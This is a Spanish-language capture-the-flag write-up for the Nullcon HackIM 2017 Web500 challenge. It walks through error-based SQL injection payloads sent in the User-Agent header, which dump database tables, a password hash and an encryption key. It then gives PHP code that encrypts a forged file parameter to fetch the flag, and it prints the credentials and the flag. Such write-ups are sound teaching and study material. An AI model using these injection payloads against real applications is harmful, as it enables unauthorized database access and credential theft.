Solución del reto HackIM’17 - Web500 del Nullcon CTF 2017 por Alguien y @h4ng3r.

Descripción

descripción

Análisis

El reto nos presenta un login. Al intentar iniciar sesión con un usuario cualquiera, nos muestra el mensaje de error Your browser is not supported!. Lo cual nos sugiere que debemos jugar con la cabecera User-Agent. Luego de algunas pruebas descubrimos que la web es vulnerable a Inyección SQL en dicha cabecera }:D

login

Sin embargo, puesto que hay que completar un CAPTCHA, la explotación debe ser manual como lo indican en la descripción xD

Solución

Explotamos la inyección SQL empleando la técnica Error Based, es decir, la información la extraemos en los mensajes de error que genera la base de datos. Por ejemplo, para obtener el nombre de la base de datos hacemos la siguiente inyección:

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a, database()))=0 -- x

errorbased

El nombre de la base de datos es: hackimweb500

Ahora listamos las tablas de dicha base de datos:

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='hackimweb500')))=0 -- x

Obtenemos:

<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
accounts,cryptokey,useragents'

Extraemos las columnas de la tabla accounts:

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='hackimweb500' and table_name='accounts')))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
uid,uname,pwd,age,zipcode'

Operamos de forma similar para las demás tablas. Finalmente tenemos la estructura de la base de datos:

hackimweb500:
- accounts (uid,uname,pwd,age,zipcode)
- cryptokey (id,keyval,keyfor)
- useragents (bid,agent)

Extraemos los registros de la tabla accounts:

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(concat(uname,':',pwd)) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
ori:6606a19f6345f8d6e998b69778c'

Sin embargo, el hash de la contraseña se ha truncado. No hay problema, lo resolvemos con la función MID.

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select mid(pwd,20,20) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
8b69778cbf7ed'

El hash completo es 6606a19f6345f8d6e998b69778cbf7ed. Tras una búsqueda en Google encontramos que la contraseña es frettchen.

Iniciamos sesión con el usuario ori y la clave frettchen y… nos redirige a una URL algo curiosa y al parecer la segunda parte del reto.

http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=

La URL recibe un parámetro file con un texto en base64 el cual si decodificamos no obtenemos nada legible. La página nos indica además que el flag se encuentra en el archivo flagflagflagflag.txt.

Al revisar el código fuente de la página encontramos otra pista en forma de comentario HTML:

<!--

function decrypt($enc){
$key = ??; //stored elsewhere

$data = base64_decode($enc);
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));

$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");

return $decrypted;
}

-->

Al parecer se trata de la función que decifra el parámetro file de la URL. Sin embargo, la variable $key no está asignada. La clave para decifrar se encuentra en otro lugar.

Nos acordamos de la tabla cryptokey que había en la base de datos y la dumpeamos:

User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select keyval from cryptokey)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
TheTormentofTantalus'

La clave es TheTormentofTantalus. Completamos la función decrypt con la clave de cifrado y probamos a decifrar el valor del parámetro file.

<?php

function decrypt($enc){
$key = "TheTormentofTantalus"; //stored elsewhere

$data = base64_decode($enc);
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));

$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");

return $decrypted;
}

echo decrypt("uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=") . "\n";

Ejecutamos el código PHP:

php decifra.php

flag-hint

A dado resultado. El nombre del archivo es flag-hint. Pero nosotros necesitamos el archivo flagflagflagflag.txt. Escribimos una funcion para cifrar empleando el mismo algoritmo y clave.

<?php

function encrypt($data) {
    $key = "TheTormentofTantalus"; //stored elsewhere
    $iv = "\xb9c}i\x84E\xe3b\xc9lINr\xbbc\xac";
    // $iv = str_repeat("A", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
    $enc = mcrypt_encrypt (
        MCRYPT_RIJNDAEL_128,
        hash('sha256', $key, true),
        $data,
        MCRYPT_MODE_CBC,
        $iv
    );
    return base64_encode($iv . $enc);
}

echo encrypt("flagflagflagflag") . "\n";

Tras un momento de frustración entendimos que solo debíamos cifrar el nombre del archivo mas no su extensión.

php cifrar.php

uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=

Finalmente llamamos a la URL cambiando el parámetro file con el valor obtenido y…

http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=

flag:{70031737753d9e53970531fc9475d6ef}

El flag es: flag:{70031737753d9e53970531fc9475d6ef}